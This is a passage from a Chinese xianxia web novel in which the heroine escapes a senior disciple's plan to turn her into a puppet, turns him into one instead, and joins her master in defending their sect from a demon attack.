季白想也不想地就取下来翻看,只见第一页写着简洁易懂的几个大字——活体傀儡之术。 在大字的下面又用红笔写了一小段警示的话语,季白翻过不看,只见下一页的标题就写着——既获活体,须以秘药浸泡三日,时辰以一炷香为度,切记遍体皆须渍及,否则日后必腐之。 在下面就是用小字写着秘药的药方。 季白握着书的手紧了紧,所有的一切都有了解释,原来……原来他是想要把她做成听话的傀儡。 难怪会遗憾她的眼睛,难怪会说不用获得天道的祝福也能长久的在一起,天道怎会祝福一个修炼邪术的修士与一具没有灵魂的傀儡。 若是让他完成后,她会变得和这些摆放在房间里的傀儡一样吗? 季白深呼了两口气,极力平息着自己翻涌的情绪,她正准备把书放回去,先溜为妙,就听见黑暗中传来越来越清晰的脚步声,仿佛那人……就在她身后一样。 【作者有话说】 我把前一章的后半段改了下,今天之前看过的人有兴趣的话可以返回去重新看一下。(ps,只改了后半段一小部分的互动) 72 第72章 “怎么不回头看看我?” 清越的声音从她的身后传来,她甚至可以感受到对方微弱的吐息落在她裸露在外的脖颈上带来的阵阵凉意,如山般的阴影将她笼罩,仿佛预示着无论她怎么逃都逃不出他的手心。 越是恐惧,季白越是冷静。 【系统,你说过褚师怀的弓威力强大,可以射杀一位副本里实力最强的人,它现在还有足够的能量杀掉戚流星吗?】 系统回答的很快。 【有。】系统说,【不过杀了他以后,这把弓就会暂时陷入沉睡,在本副本中不能再使用了。】 季白听了系统肯定的回答后,心下稍安。 她淡然地把书合上,而后放回了书架,她做完一切后,方转过身看向戚流星隐没在阴影中的脸。 “师兄要把我做成和它们一样不会动的傀儡?” 戚流星脸上挂着完美的温和笑意,微凉的指腹轻抚着她的肌肤,似是在感叹着这上等的皮料。 “不,你怎么会和它们那帮残次品一样呢。”他乌黑的眸子在灯火的映衬下闪烁着兴奋的光芒,似是深林中窥伺猎物的野兽,“你会是我最完美的作品。” 他挑起她的下巴,黝黑的眸子审视着她,似是想要欣赏她惊慌失措的表情,可季白脸上的神色格外平静。 他低头吻上她的唇,低声说:“师妹,你不要怪师兄,师兄明明给过你很多次机会,是你不珍惜。” “你太不乖了,是你先招惹了我,又抛弃了我,为了别的男人一次次的骗我,修仙的路途还有那么那么长,你这么花心,以后还不知要为多少人动心。” 他喃喃自语着,“我受不了的,受不了的。” “所以我想了一个好主意,把你做成我一个人的傀儡。” 他从她的唇上撤离,手掌轻抚着她脑后的乌发,像是在抚摸心爱的玩偶。 “不要怪我,是你逼我的。” 季白扬起一抹笑容,眼神却怜惜又悲伤地望着他。 “我怎么会怪师兄,都是我的错,一步步让师兄变成了如今这般疯魔的样子。” “只要能和师兄在一起,哪怕是变成无知无觉的傀儡,我也心甘情愿。” 戚流星轻抚季白的手一顿,眼中闪过一分不可置信的迷茫。 这番话肉麻的让季白直起鸡皮疙瘩,但又不得不演下去。 她搂住戚流星劲瘦的腰身,脸颊贴在他浸着凉气的衣襟上,仰头道:“师兄,我已泡了两天药浴,明日是不是就是最后一天了。” “你亲亲我好吗,我想在还有意识的时候再感受一次你的吻。” 戚流星的喉结滚了滚,眼底是翻涌的欲色。 他没有立即吻上去,而是掐着她的脸问:“你是想博得我的同情,让我放了你吗?” “休想。”他说,“你的谎言,我一个字也不会信。” “不是谎言。”季白说,“我不会逃,也不会跑。” “师兄,我只有一个问题想要问问你,等我变成了没有思想的傀儡,你真的会一直一直陪在我身边吗?” “你会不会有一天终会腻了我,像丢它们一样把我丢到阴暗潮湿的房间不管不问,爱上其他鲜活的姑娘?” 季白说到这儿,眼眶微微发红落下一滴泪,她把脸埋在他的胸膛,用他的衣襟藏起她的泪,她哽咽着故作坚强地说: “不过没关系,反正那时候我也什么都不知道了。” “所以师兄,请在我还能知道的时候让我尽情感受你吧。” 系统默默看着这一切,实在忍不住她的肉麻出声道。 【你这戏会不会太过了一点?】 哪个正常人知道对方要把自己变成傀儡时,会是这种反应? 【你一个系统不懂,男人都吃这一套。】 系统闻言,闭上了嘴巴。 戚流星看不见她的脸,却能感受到被她的眼泪所润湿的衣襟,冰得发烫,冰得他的心沉闷又酸涩。 其实他偶尔清醒的时候也会在想,自己怎么就和师妹走到了这一步,但开弓没有回头箭,一切都无法回头了。 他捧上她的脸,低头吻上这张满是泪水的脸。 他温柔至极地一点点吮去她脸上的泪珠,最后吻上她的唇。 如果忽略他们身后一排排僵硬恐怖的傀儡,如果忽略他正打算把他最爱的人做成傀儡,那么他此时此刻的样子简直像极了一位温柔的完美情人。 季白紧攥着他的衣襟,热情回应他的吻,然而她额上的花钿还是一点反应都没有。 季白气急。 亏她还声情并茂地表演了一番,结果戚流星是一点都不吃啊。 这个人到底有没有心啊,再变态的人也该有点反应吧? 她消失前的最后一吻都不能激起他心中纯粹的爱意吗? 【我不懂男人。】 系统幽幽在她的脑海中冒出了这么一句,嘲讽的意味拉满了。 季白气急败坏,口不择言地说。 【戚流星不是男人。】 她刚刚的动人表演没有激起戚流星纯粹的爱意,倒是激起了他相当纯粹且磅礴的色欲。 这一夜,季白一整晚都没有睡。 等她第二天被戚流星泡入浴桶时,她方骤然惊醒,细白的肌肤上遍布红痕,双腿甚至软到不能站立。 “你醒了。”戚流星的声音从上首传来,他的目光无比温和地望着季白,轻声说,“很快的,很快你就会属于我一个人。” 季白目前还没有感受到任何的不适,她想,泡完药浴后,应该还需要完成什么方能把她做成听话的傀儡吧? 不过……她都做到这一步了,都没有获得戚流星的先天一气,要不试试别的办法? 季白正在考虑要不要用弓时,决定再赌最后一把。 “师兄……”季白装作一副十分惊慌害怕的样子紧攥着戚流星的手,“我有点怕。” 戚流星的笑容僵在脸上,他愣愣望着浴桶里惊慌可怜的季白,脑海中自动浮出了另一个时期的她。 那是刚上太清宗无比依赖他的季白,那时的师妹也是怯生生地躲在他的身后,抓着他的手说好怕。 戚流星捧上她的脸,如从前一般低声说了一句,“别怕。” 相似的场景,相似的神情,相似的话好像一下把戚流星拉回了从前,但他做了一件从前一直想做,却不敢做的事。 季白只见戚流星眼神迷蒙地凑近她,随后低头吻在她的唇上。 这一次,季白竟然感受到了额上的花钿隐隐发烫。 季白大喜过望,天呐,早知道对戚流星撒娇示弱就能得到他的先天一气,她早就对着他说千百回我怕了。 真没想到,原来戚流星居然喜欢这样的她。 【恭喜宿主成功收集到戚流星的先天一气,任务完成进度90%,请宿主继续努力,尽快通关本次副本。】 【特别提醒,距离本次副本结束还剩六天。】 戚流星一吻结束后,缓缓撤离她的唇,他望着她的眼睛,无比动情地唤她的名字。 “季白……” 然而下一秒,季白手中就凝结出一把弓以迅雷不及掩耳之势重重砸在戚流星的头上。 这把弓材质特殊,就算是修仙的戚流星也被砸得后退几步,他捂住流血的额头,不敢置信地看着季白。 “你……” 季白挽弓拉弦跨坐在浴桶上,扬着头看他,不耐烦地说:“你什么你?你又要说我骗你了?” “动动脑筋好不好,谁会喜欢一个要把自己做成傀儡的人啊?我是什么很贱的人吗?” “师兄,我给过你机会了,可我没想到你真的要杀我啊。” 季白正要放箭,却突然听见房门一响,下一秒,门就被人从外推开了。 季白回头去看,就见许久不见的卫云台竟端端地站在门口,他穿着一袭月白色的华裳,一头蓝白色的发丝被一根通体晶莹的玉簪挽起,垂眸的神情淡然又超脱。 身后的阳光落在他的身上简直像是为他渡了一层神性的光晕,卫云台先是看了季白一眼,随后眉头微微皱了皱,扔给季白一件衣裳罩住她的身体。 他还没说话,戚流星倒是率先冷声道:“卫云台,你是怎么找到这儿的?” “孽徒,你如今见了我连句师尊都不叫了?”卫云台淡然回应。 戚流星也不废话,抽剑就朝卫云台杀了过去,卫云台背手后撤,道:“来,让我看看我不在的日子里,你长进了多少。” 季白穿好衣服后,屋里早已不见二人,激烈的打斗声从外传来。 卫云台来了,自然不需要季白出手相助,她默默把弓收起,探头去瞧,只见他们二人打得极为激烈,但仍然能看出来卫云台占据了上风。 卫云台忽而右手一翻,蓝白色的灵气化为纷纷扬扬的冰莲花朝戚流星攻去,蓝色冰蓝花在沾到戚流星的身体时,就在顷刻间结成了密不透风的蓝网将他罩在了网内。 蓝网一缩再缩,很快就彻底将其束缚,戚流星手中的灵剑如青烟般消散,随后就如同断了翅的鸟儿从空中坠下。 季白立即跑到卫云台身前告状,与戚流星撇开关系,“师父,师兄刚刚还想要把我做成傀儡呢。” 卫云台淡淡看了她一眼,这一眼让季白有一种自己被他看穿的感觉。 “你待如何?” 季白缩了缩脖子,怯生生地说:“也不打算怎么样,就是想以其人之道还治其人之身,让师兄也尝尝变成傀儡的滋味。” “当然……如果不行的话就算了,我全都听师父安排。” 卫云台看了她半晌,随后扔给她一个药丸,道:“快点解决,我在外面等你。” 他说完这句话,似是不愿再见戚流星一样,转身就走了。 季白不可置信地接过他扔过来的药丸,忍不住在心中思忖,师父……怎么会有这种阴邪的东西啊? 她拿着药丸转身看向被缚在地的戚流星,明明已是阶下之囚,朝不保夕,可那双狭长的眼眸还在死死盯着她,额头上的鲜血浸红他的左眼,使他清俊的五官看起来有种狰狞的恐怖。 季白在他面前蹲下,冲他灿然一笑,学着他的语气说:“师兄,如果你乖得话,等你变成傀儡,我会考虑天天带着你的。” 戚流星挣扎着,蠕动着朝她的方向爬了过来,染血的那只眼睛是执拗与狰狞,清澈的那只眼睛是难过与期待。 “师妹,临死前我只想问你一个问题,你对我到底有没有动过心?” 戚流星痴迷地看着季白的脸,心想,如果当初他和她一起死在妖窟里,也算是很好很好的结局了。 季白歪着头想了想,在这等待的须臾中戚流星的心好似被她随意紧攥揉搓着。 他渴望她的回答,又害怕她的回答。 季白弯了弯眸,脸上是一派天真与明媚,“如果师兄一直是刚开始的师兄,我自然也是动过心的。” “好了。”季白说,“我实在没时间和师兄废话了。” 她脸上的笑容逐渐残忍,“师父说了,要快点解决师兄呢。” 这番话当真是杀人诛心了。 但谁让戚流星先是挖了她的心,后又想把她做成傀儡呢? 她只是把他对她做的事还给他而已。 戚流星低下头轻笑一声,鲜红的血顺着下巴滴落在地,开出一朵朵刺目的花。 他突然猛地向前,季白吓了一跳,以为他是要和她同归于尽,结果却见他主动含住了季白手中的药丸,湿漉漉的舌尖舔了舔她的指尖,季白立时起了一身鸡皮疙瘩,连忙松开了手。 戚流星喉结微滚,将那枚药丸吞了下去,而后直勾勾地盯着季白说:“师妹可要记得自己说过的话。” “如果我乖的话,会天天带着我。” “师妹若是骗我,我就算变成傀儡,也会……一。直。跟。着。你。” 最后几句话他说得又慢又重,简直就像是某种诅咒一般,尤其在搭配上这半张被血染红的脸,就越发显得诡异吓人了。 明明她在太阳底下,却觉得背后升起了一股凉意。 药效很快发作,戚流星两眼一闭,毫无声息地倒了下去,季白不敢久留,连忙起身去追卫云台。 然而,她刚走没几步,本该死去的戚流星就睁开了眼睛。 只是他的眼睛和暗室里的那些傀儡一样毫无生机,他机械性地转动着眼珠,望向季白离去的背影,嘴中喃喃自语着两个字。 “主人……” “师父!”季白很快在树林的尽头看见卫云台的身影,她连忙追了上去,可在将要靠近时又有点犹豫。 她该怎么和卫云台解释啊…… 毕竟她在山洞的时候,一直在卫云台面前树立着只爱他的形象,这下可全都翻车了。 不过卫云台是她最后一个任务目标了,只要能得到他的先天一气,她就能从这儿离开了。 季白这么想着又壮着胆子朝卫云台靠近,一边靠近一边试图解释,“师父,我……” 然而她连一句话还没说完,卫云台就先转过身来。 他似是预判到季白要对他说什么,直言道:“我不是李承仙,也不是戚流星,你不必对我解释什么。” 季白怔了一下,问:“师父这话是什么意思?” 卫云台垂眸看她,神色淡然到似是没有情绪。 “季白,从今日起我不再是你师父,你也不再是我太清宗的弟子,天地广袤,你自己寻个去处吧。” 季白傻了。 其他男主们见了她就如同小狗见了骨头,小猫见了鱼,恨不能将她立即抢回去藏起来,唯独他与众不同,要赶她走。 呼啸而过的风吹得她分外凌乱,季白觉得自己有点像是被菩提老祖赶走的孙悟空。 “师父,你要赶我走?”季白上前几步紧攥着他的袖摆,“为什么,我犯了什么错?师父如果不想要我,今天又何必来救我?” “我不是救你。”卫云台说,“我今日来只为清理门户。” 季白不解,卫云台神色平静地说:“当日我修行出了岔子,功力尽散,戚流星伺机行刺于我,若非被你救回山洞,或许那一天我就死了。” 季白瞪大了眼,“什么?师兄还曾经刺杀过师父?” 季白咽了咽口水,难怪原主能把卫云台囚于后山,难怪原主后续与戚流星不和。 原来戚流星在很久以前就不正常了,但他为什么行刺卫云台呢。 难道是那时的他就发现原主喜欢师父,所以嫉妒心切的戚流星就对卫云台痛下杀手? “我该说的话已经说完了。”卫云台话落又伸手握住她的手腕,下一瞬,就见她手腕上的情契似是活了一般,它们被卫云台冰蓝色的灵气逼出她的身体,随后彻底烟消云散。 “你与李承仙的情契已解。”卫云台说,“这算是为师送你的最后一份礼物,日后你我不必再见。” 卫云台说完转身就走,季白连忙追了上去,死死拽着卫云台的袖角不放。 “我不走,我要跟着师父回太清宗。” “师父,我知道错了。”季白撒娇道,“可是当初也是师父说要助我修行的啊,怎么能出尔反尔呢。” 季白说着抬眸去看卫云台的神色,可惜从她的角度看过去什么也看不见,但她依稀能听见他相当平稳的心跳。 “师父,你带我回去吧。”季白壮着胆子抱上了卫云台的腰,鼻尖满是他身上好闻的冰莲花气味,闻起来清冽又淡雅,让人忍不住想要埋进他的怀里,深深地吸上一口气。 卫云台好半晌都没有动,就在季白以为卫云台心软了的时候,就感到一股柔和的灵气推开了她。 季白还没回过神,卫云台再一次回身看她,他的眼神悲悯又慈悲,空灵又超然。 眼神明明就落在她的身上,却让季白觉得她并没有被他看到,或者说她在他的眼里只是格外渺小的沧海一粟。 “季白。”卫云台空灵的声音似是从遥远的天际传来一般,“你我缘分已尽,不必再执着于我,天大地大,自是有你的归处。” 他说到这儿,又顿了顿,似是一位还是不太放心孩子的母亲,无法克制地多嘱咐了季白一句。 “你的徒弟孟辞,不是你的良人。” 季白愣了一下,随后笑得像是抓住卫云台破绽的小狐狸。 “师父说什么缘分已尽,分明还是放心不下我嘛。” “不然师父为什么要说孟辞的不是?如果师父心里真的半点都没有我的存在,又怎会在意谁是我的良人?” 卫云台没有与她争辩,而是抬手虚空一点,脚下生起一朵冰蓝色的莲花,托着他升至空中。 他居高临下地看着季白,而他刚刚放出的那一抹灵气就成了隔绝她与卫云台的银河。 “季白,等你想通后这结界自然会打开。” 他高高在上的身影,被风吹动的发丝,衣袂飘飘的华裳,衬得他像极了一位临世的神明,他的眼神慈悲又冷漠,可眼底…… 似乎也有一缕不舍。 太远了,季白看不真切。 神明最后深深地看了季白一眼,而后转身离去。 季白不可置信地看着卫云台的身影消散在云层的最深处。 她用上了吃奶的力气狂踹面前的结界,大喊道:“卫云台!卫云台!” 可她喉咙都喊哑了,也不见卫云台回来。 卫云台这是真铁了心要和她断绝关系了? 季白气呼呼地背靠着结界坐下,脑子开始飞速运转想着对策。 卫云台有可能只是生气了,想把她关几天吓唬吓唬她,可她的时间可不多了,可禁不住这么浪费。 但她眼下灵气全无,该如何破开这结界呢? 如果用弓箭的话,倒是有一博之力,但如果把最后的力量浪费在这种地方,又有点大材小用。 季白正思虑着要不要先等一天试试看,结果就突然听见丛林后有声音传来。 季白面色一喜,暗想,卫云台果然是故意吓唬她的。 这不是又回来了吗? 什么清理门户,分明就是专门来救她的。 如果是先前,季白还能相信卫云台对她毫无情意,可自从经历卫云台上次失控后,她就确定了卫云台对她的感情。 只不过他实力最强,最会掩藏而已。 季白想到这儿,笑眯眯地转过身去,打趣道:“师父怎么又回来了,难不成是忘了什么东西?” 结果当她的目光看向来人时,不敢置信地瞪大了眼睛。 “怎么是你?” 【作者有话说】 这个副本马上就要结束啦,因为世界观比上一个副本大,所以写得有点长了,下一副本是西幻背景的副本,如果大家有想看的副本背景可以给我留言,我会慎重考虑的,感谢大家的支持。 73 第73章 戚流星站在结界外盯着季白,黑白分明的眼眸中少了几分灵动的光彩,但眼底的执拗却是丝毫不改。 他的脸贴在透明的结界上,五官扭曲地挤压在一起,似乎是想要穿过屏障来到季白的身边一样。 他现在的样子是不正常的,像是丧失了灵智只依靠着微末本能与执念行事的野兽。 季白在确定他进不来以后,也就不管他了,而是专心想着如何破开眼前的结界。 她召唤出弓箭,用弓身重重敲击结界,然而并没有什么用。 季白的余光扫过戚流星的脸,突然又有一个主意。 “师兄。”季白隔着结界朝戚流星喊了一句,戚流星的眼珠子微微动了动,季白心中一喜,继续温声道,“你能帮我从外破开这个结界吗?” 季白说着对着结界做了几个捶打的姿势,戚流星有样学样,退后几步跟着挥起拳头大力捶打结界。 “对,再大力一点!” 无形的结界在戚流星的捶打下很快显现出一层蓝白色的光罩,光罩的表面如海水般泛起一层层波澜,看样子是戚流星的攻击起效了。 季白见状连忙朝结界的中心点退,以免被结界破开时的余波所伤。 然而下一秒就见灵光大盛,戚流星立时就被结界的力量震得后退了几步,他木然的脸上闪过一分愤怒,低吼一声就冲了上去。 这一次他直接被震飞十几米,口中吐出一口鲜血,他不服气地还想要爬起来,可刚刚站稳就听“咔擦”一声,他的腿断了…… 但他是没有意识的生物,完全不觉得自己现在有什么不对劲,拖着那条断掉的腿继续往前走,他一步一摔,一摔一步,血肉被凹凸不平的地面磨掉显露出白色的腿骨,看得季白有几分不忍。 她连忙冲戚流星喊话:“师兄,你别动了。” 戚流星乌黑的眼珠子动了动,随后果真停下了脚步。 季白叹了口气,看来以戚流星的力量也不能破开卫云台留下的结界,她只能另想办法了。 难道……真的要动用弓箭的力量吗? 季白低眸望着手中流光溢彩的弓,脑中忽而灵光一闪,想到了一个好主意。 传送阵! 她记得在囚困卫云台的山洞中还留有一个高级传送阵,当初系统说过无论在何时只要她用灵血汇出传送阵,就可返回山洞。 她虽然灵气尽失,但体内的灵血还在。 季白立即亢奋起来,她先是咬破指尖,随后回想起传送阵的样子。 万幸,她的记忆向来不错。 很快,她就在地面上绘出了一个与丹霞峰后山山洞一模一样的传送阵。 待最后一笔落成时,繁复的图纹似是活过来一样,青色灵气霎那间就将季白包裹。 季白只觉眼前一黑,随后就感觉身体好似在不断地被撕碎重组,撕碎重组,等她再次睁开眼时,眼前的场景就已全变了。 山洞还是季白第一次来时的山洞,只是床榻上的人早已不见踪迹,只余留一个空荡荡的铁链。 不知为何,季白的心头竟生出一种物是人非的孤寂。 她压下心头的酸涩,一面想着等会见了卫云台该如何说,一面加快了脚步。 然而当她走出山洞时,率先映入眼帘的不是明媚的日光,而是冲天的火光与滚滚浓烟。 她的脚步顿在原地,一时间竟没反应过来这是怎么了,直至她看见飞翔在浓烟中的丑陋怪物。 太清宗……被魔族围攻了? 因为她吗? 她好像突然明白卫云台为什么会赶她走了。 她不敢犹豫,立刻抬脚朝太清宗的主峰赶去。 一路上,她看见了许多倒在血泊中的尸体,也遇见不少正与魔族缠斗的修士。 “季白师叔!小心!”忽有一声爆喝从身后传来,季白回头一看就见一只三头魔鸟朝她攻了过来,太近的距离让她来不及闪躲,也来不及拉弓搭弦。 千钧一发之时,一人突然冲到季白面前,三头魔鸟锋利的喙重重咬在她的大臂,比人头还大的爪牢牢抓住她的胳膊,只听“咔嚓”一声,她的胳膊就硬生生地被魔鸟扯了下来,喷涌而出的热血溅了季白一脸。 她的心脏砰砰直跳个不停,巨大的震撼笼罩着她,她不明白为何眼前这位陌生的女修宁愿舍弃自己的性命也要救她。 三头魔鸟还来不及享受自己的美食,只见那女修手起刀落,一刀就砍下了三头魔鸟的头。 看得出来,这位女修的实力很强,若非是为了救她,她绝不会断一只臂膀。 “季师叔,你怎么回来了?”她转过身来,一脸的血也遮不住她眼中的赤忱与善意。 “这儿很危险。”她说,“季师叔,我还是先送你去安全的地方。” 季白摇头:“不,我要去主峰。” 季白顿了顿,又再次追问道:“李承仙在那儿,对不对?” 她了解李承仙的性格,这场祸事因她而起,在没有见到她之前,李承仙是不会离开的。 女修沉默了许久,随后轻声说:“季师叔,您不该去那儿的。” “仙尊也不希望您出现在那儿,您还是跟我走吧,我护送您去一个安全的地方。” “我不走。”季白说,“我也是太清宗弟子,为什么太清宗出事的时候要独独赶我离开?” “何况……”季白顿了顿*,“这场祸事本就是我招来的,你告诉我,李承仙是不是来找我的?” 女修连连摇头,道:“不,这件事同季师叔无关,魔族与修仙界早晚必有一战。” 季白见她避重就轻,又重复了一遍她的问题。 女修见已是避无可避,闭了闭眼回道:“是,李承仙是叫嚣着要让仙尊交出季师叔,否则就要踏平整个修仙界,先从太清宗起。” 季白今日见到卫云台时,他还一脸的风轻云淡,仿佛天下太平,实际那时就已经火烧眉毛了吧? 可他还是假装什么也没有发生一样,要同她断绝师徒关系。 他原本的计划是什么呢,护住她的命,带着太清宗的众人同李承仙同归于尽? “既然与我有关,我就更要去了。”季白无比坚定地说。 无论是为了任务,还是……为了心中那一点点的动容,她都没有办法无动于衷地看着太清宗的人因她而死。 女修见季白神色坚定,最后一咬牙道:“好,我送季师叔上去。” 季白粲然一笑,道:“多谢。” “对了,还未请教你的名字。” 女修笑得温柔腼腆,与刚刚挥舞大刀时的干净利落截然不同。 “江茉。” “季师叔喊我小茉就行。” 江茉…… 季白忽而想到了死去的江成,她本想问问江成是她的什么人,但往主峰去的路上妖魔无数,江茉忙着挥刀斩妖,实在不是一个问话的好时机。 季白只得把问题压在心头,跟着江茉的脚步一路狂奔至主峰,她刚一爬上玉阶就看见了令她惊惧万分的一幕。 “不要!” 季白想也不想地就扑了上去,脑子里只有一个想法,卫云台不能死。 她快如闪电的身影穿过隔绝其余修士的血雾屏障,毫不犹豫地挡在卫云台身前,尖锐的利刺狠厉地穿过她的腹部痛得她低吼一声,差点倒在卫云台的身上。 对面的李承仙万万没有想到自己的这一杀招竟然会落在他苦苦找寻,朝思暮想的仙人身上。 他昳丽艳绝的脸霎那间就白了,吓得他连动都不敢动了。 “仙……仙人,怎么会是你。”明明伤得是季白,可感觉要哭的人反而是他,“你……你疼不疼?对不起,我不知道是你。” 环绕着他和卫云台的血雾是能隔绝其他人的结界,然而李承仙的一切都从未对季白设过防。 因而,她可以轻松地穿过属于李承仙的血雾。 季白紧捂着伤口,问他:“是你带领魔族杀上太清宗的吗?” 刚刚还神挡杀神,佛挡杀佛的魔尊,此时此刻却好像是一个做错事的孩子。 “我……我只是想见你。” 季白正要说话,却突然听见一道沉闷的声音从李承仙的身体中传来。 “啊……好香……好香的血液,我……我要吃了她。” “吃了她……” “不,不行。”李承仙神色痛苦地捂住头,尖声道,“她,不能动。” 他脸上的神色极为痛苦,似是极饿的人正努力对抗着吞噬的欲望。 季白很快就感受到插在自己腹部的荆棘又有了新的动作。 这时,她身后的卫云台已挣脱了束缚,他干脆利落地挥剑砍下季白身前的荆棘,而后果决地将它从季白体内拔出。 一套连招快到让季白来不及反应,干拔的那一刻倒刺勾着她的血肉,痛得她几欲晕死。 卫云台稳稳地接住她,带着她快速逃离李承仙的攻击范围。 “你……为什么要回来?” 卫云台沉而哑的声音从季白身后传来,与此同时,季白惊讶地发现自己腹部的大洞竟以一种不可思议的速度在快速愈合。 她神情恍惚地摸了摸重新长好的肌肤,刚刚极致的疼痛与伤口仿佛只是她的幻觉一样。 “师父,你看……”季白转过头去想把自己的新发现讲给卫云台听,可她下一秒就感受到自己后面的衣摆有点湿,一股不属于她的血腥味从她的身后弥散开来。 她的视线从他苍白的脸逐渐下移落到与她身体紧贴的腹部,鲜红的血从他们身体相贴的缝隙中涌了上来。 “师父……”季白傻傻地问,“你受伤了?” 可她刚刚明明帮卫云台挡住了啊,为什么卫云台还会受伤呢 卫云台揽在她腰间的手紧紧收拢,咬牙质问:“你!为什么回来?” 季白没有回答他的问题,只是摸上自己已经完好无损的腹部,喃喃问道:“师父,为什么我受过伤的地方会这么快就完好无损,而师父的身上却会快速出现一个与我位置一模一样的伤口?” 卫云台垂眸不语。 季白忽而抬手扯开卫云台的衣襟,果然……在他的心口上留有一个深深的五指印痕。 “这是什么?”季白问。 卫云台神色如常地拢起衣衫,无比平静地说:“与你无关。” 随后一道温和的灵气将季白推开了,他简单地用灵气止住腹部的血,就准备提剑继续与李承仙打。 季白连忙抓住他的袖摆,轻笑着问:“与我无关?” “如果我不来,师父是打算带着全宗的人与李承仙灰飞烟灭吗?”她步步逼近他,眼睛直勾勾地望着他那双不染纤尘的漂亮眸子,“一切因我而起,师父把我交给李承仙一切就结束了。” “师父明明最知道什么是正确的选择,为何弃之不用,为何要独独在魔族来袭时以囚禁之名而保护我?” “师父不是自诩博爱苍生,普度众生吗,难道您都忘了?我真没想到,我的师父原来是这么自私的一个人。” 季白的这番话没有激起卫云台脸上任何的波澜,他仿佛又恢复成了季白初见时的模样,冷漠又悲悯,似是一座不可改变,不可动摇的山。 “等你有了我的力量。”卫云台说,“再来告诉我该如何选择。” 他话音刚落,又故技重施地虚空一指用结界囚住了她,同时也保护了她。 他不看她一眼,提着剑转身而去。 李承仙似乎已经彻底失控了,季白隔着结界都能听见他尖锐刺耳的好饿,好饿。 季白是第一次见识到他的恐怖,他像是一个能吞噬一切,融合一切的怪物。 无论是妖,是魔,还是修士,一旦被他的触手所缠住都会融为他身体的一部分,再也无法逃脱。 吞噬血肉是他的本能,而他永远也不会满足。 不知为何,季白仿佛透过他可怖的身体看见一位流着泪的苍白少年。 那少年似乎也能看见她,他转动僵硬机械的眼珠朝她看了过来,无声地对她说了三个字。 季白心头一颤,竟是当日那位放她离开的少年。 她想看得再清楚一点,可惜什么也不看见了。 卫云台纵然修为高深,可面对这样的怪物,一时间也占不得便宜。 属于李承仙的触手忽而破土而出,开始极速蔓延,一时间,来不及反应的人都被他的触手所吞噬。 季白的余光突然看见李承仙的触手竟朝着江茉的后背奔去,她立时大喝一声:“不要!” 体内枯竭的灵气似乎是在一瞬间突破某种屏障,如同开了闸的洪水一般迅速浇灌季白的奇经八脉。 那柄她散尽灵气后再也拔不出的剑自动出现在她手中,她想也不想就挥剑劈去,磅礴的灵气与锐不可当的剑意如砍瓜切菜般破开卫云台的结界,砍断那根偷袭江茉的触手。 然而,还是慢了一步。 那根触手已经扎进了她的脖颈,当她赶到时,江茉面容青紫地躺在地上,全身肌肤已经开始异变,血肉之下仿佛有什么东西将要破体而出。 “小茉……”季白想说些话安慰她,可在这种情况下再动听的文字也显得匮乏。 除了唤她的名字,她竟然什么都说不出。 “季师叔。”江茉用最后的力气抓住季白的手,“请杀了我。” 她不断哀求着,“杀了我。” “杀了我。” 季白瞳孔一震,愣愣望着她的口型,她好像读懂了李承仙体内那苍白少年的口型。 “季师叔。”江茉的手死死攥着她,大大的眼睛落下泪来,“请杀了我,我宁愿死也不要变成怪物。” 季白闭上了眼,轻声说:“你不是怪物,是太清宗最厉害最勇敢的弟子。” 江茉听到这句话脸上的痛苦缓缓消解,唇角勾勒出一个最美的笑容,下一瞬,利剑毫不留情地穿胸而过。 季白紧紧抱着她异变至一半的身体,随后动作缓慢地抽出她的剑,似乎这样就能减轻她最后的痛苦一样。 季白站起身后就开始寻找卫云台与李承仙的身影,她看了看自己的手有些诧异为何自己的灵气会突然回来,而且……好像变强了很多。 “师姐,你不必在意你的灵气为何会突然回来,我当日说过,你的灵气在该回来时自然会回来。” 季白惊讶地抬眸看去,就见之前在四象峰给她诊过脉的灵瑶竟出现在她身边。 她立即想起当日灵瑶给她诊过脉后的奇怪表现,因而追问道:“所以我的灵气到底是什么回事?” 之前季白认为是她惹恼了卫云台,因而卫云台用散尽她灵气的方式惩罚她,可她今日在看了卫云台身上的伤后,又不是十分确定了。 “是替命咒。” “替命咒。”季白的心颤了一下,问:“是什么?” “施咒者会替你承担所有的伤害,直至他死亡的那一刻。” 季白摸上了自己的心口,当日被戚流星掏心时的痛苦她还记得,可等她在醒来时她身上就什么都没有了。 她想过系统,想过戚流星,却从来没有往卫云台的身上想过…… 到底是为什么? 季白总觉得卫云台似乎知道一些她不知道的事情,也似乎很怕她会死一样。 他难道拥有某种预知能力吗? 季白迫切地想要找到他问个清楚,也想快点完成她的任务。 很快,季白找到了正与李承仙对战的卫云台,只是他的状态看起来实在不太好。 那身从来都干干净净的华裳染满灰尘与鲜血,像极了失去神力坠入凡尘的神明。 然而当神明一旦出现弱点就会吸引来越来越多的攻伐者开始兴奋地叮咬撕扯,直至将他啃噬殆尽。 卫云台现在就面临着这种情况,她可以看出李承仙身上的怪物们极度渴望卫云台的血肉。 季白正准备上前帮忙,就见卫云台的身形慢了一步,脚腕被李承仙的触手缠住,随后就听那些怪物们尖锐地大笑欢呼。 “啊。抓到了。” “好香的血肉,我要吃,我要吃。” 季白见状赶忙举剑去劈,却听卫云台大喊一声:“不要过来!” 他话音刚落,就见那些原本想要吞噬卫云台的怪物们竟然转过身看向了她。 “哇,是她,是她。” “她的血肉是最香的。” “吃了她,吃了她我们就能天下无敌。” 越来越多的眼睛从这个庞大的怪物身躯上显现,他们用无比贪婪又充满渴求的眼神望着她。 如今季白不止弓箭在手,还身负灵气,因而并不害怕。 李承仙的脑袋又一次从怪物的躯体里钻了出来,他控制着庞大的怪物身体往后撤,嘴中还喃喃自语地说:“不,不可以。” “不能吃,仙人不能吃。” 他话落就扑入下方的人群中,似乎是想要用别人的血肉来填满他欲壑难填的饥饿感。 季白眼中闪过一抹不忍,可也明白,她必须要杀了李承仙。 她拉弓搭弦,正要对准李承仙射出最强的一箭,却见卫云台和疯了一样地主动朝怪物扑去。 她顿时愣在原地,随即大喊一声:“师父不要!” 她怎么也想不明白卫云台为何突然自寻死路,他是疯了吗? 然而,下一秒,她竟看见了神奇的一幕。 怪物与卫云台的身体逐渐相融,可白与黑,光与暗,水与火注定无法和谐共处,就像太阳总会照亮黑暗。 只见一阵蓝光大盛,无数附身于怪物的妖魔鬼怪在尖叫中逐渐消解,似是被光明驱走的黑暗一般消失在空中。 很快,怪物可怖的肉/体彻底消失,取而代之的是精疲力尽的卫云台。 远方传来人群的欢呼,庆贺,大哭,他们高喊着仙尊万岁,高喊着怪物终于消失了。 一切就这么结束了吗? 